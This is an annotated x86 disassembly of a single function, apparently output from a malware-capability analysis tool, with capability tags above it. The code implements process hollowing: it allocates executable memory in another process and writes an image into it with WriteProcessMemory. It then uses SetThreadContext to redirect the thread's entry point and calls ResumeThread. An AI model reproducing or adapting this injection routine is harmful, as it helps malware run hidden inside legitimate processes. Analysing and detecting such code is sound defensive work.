Function at 0x48b31e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ec
push ebx
xor ebx, ebx
push esi
mov esi, dword [ebp + 0x30]
push edi
xor eax, eax
cmp esi, ebx
mov ecx, 0xb2
lea edi, [ebp - 0x2e8]
mov dword [ebp - 0x2ec], ebx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x20], ebx
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], ebx
stosd dword es:[edi], eax
jne 0x48b35a
lea esi, [ebp - 0x20]
push dword [ebp + 0x34]
lea eax, [ebp - 4]
push esi
push dword [ebp + 0x2c]
push dword [ebp + 0x28]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x2ec]
push eax
push dword [ebp + 8]
call fcn.0048b25a
add esp, 0x2c
cmp dword [esi], 0xffffffff
mov dword [ebp - 8], eax
jne 0x48b391
mov dword [esi], ebx
cmp dword [esi + 4], 0xffffffff
jne 0x48b39a
mov dword [esi + 4], ebx
cmp eax, ebx
jle 0x48b516
mov eax, dword [ebp - 0xc]
mov dword [ebp + 8], ebx
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp + 0xc]
cmp dword [ebx + 0x34], eax
jne 0x48b3d0
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0x18]
jb 0x48b3d0
lea edx, [ebp - 0x10]
push edx
push 0x40
push ecx
push eax
push dword [esi]
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x48b443
cmp dword [0x4c9c78], 0
je 0x48b4ef
push eax
push dword [esi]
call fcn.0048b1b4
test eax, eax
pop ecx
pop ecx
mov edi, 0x3000
je 0x48b404
push 0x40
push edi
push dword [ebp + 0x18]
push dword [ebx + 0x34]
push dword [esi]
call dword [0x4c9c78]
mov dword [ebp + 8], eax
cmp dword [ebp + 8], 0
jne 0x48b44d
push ebx
call fcn.0048b13d
add esp, 4
test eax, eax
je 0x48b4ef
push 0x40
push edi
push dword [ebp + 0x18]
push 0
push dword [esi]
call dword [0x4c9c78]
test eax, eax
mov dword [ebp + 8], eax
je 0x48b4ef
push eax
push dword [ebp + 0x14]
push ebx
call fcn.0048b15a
add esp, 0xc
cmp dword [ebp + 8], 0
je 0x48b4ef
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp - 0x248]
add eax, 8
push eax
push dword [esi]
call edi
mov eax, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
push dword [ebp + 0x18]
mov dword [ebx + 0x34], eax
push dword [ebp + 0x14]
push eax
push dword [esi]
call edi
test eax, eax
je 0x48b4e9
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 0xc]
mov dword [ebp - 0x2ec], 0x10007
jne 0x48b4a8
mov eax, dword [ebx + 0x28]
add eax, dword [ebx + 0x34]
mov dword [ebp - 0x23c], eax
jmp 0x48b4b3
mov ecx, dword [ebx + 0x28]
add ecx, eax
mov dword [ebp - 0x23c], ecx
lea eax, [ebp - 0x2ec]
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test byte [ebp + 0x20], 4
jne 0x48b4d2
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp dword [ebp + 0x30], 0
jne 0x48b516
push dword [esi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [esi]
call edi
jmp 0x48b516
or dword [ebp - 8], 0xffffffff
jmp 0x48b4f6
mov dword [ebp - 8], 0xfffffffe
push 0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [esi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
and dword [esi + 4], 0
push dword [esi]
call edi
and dword [esi], 0
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret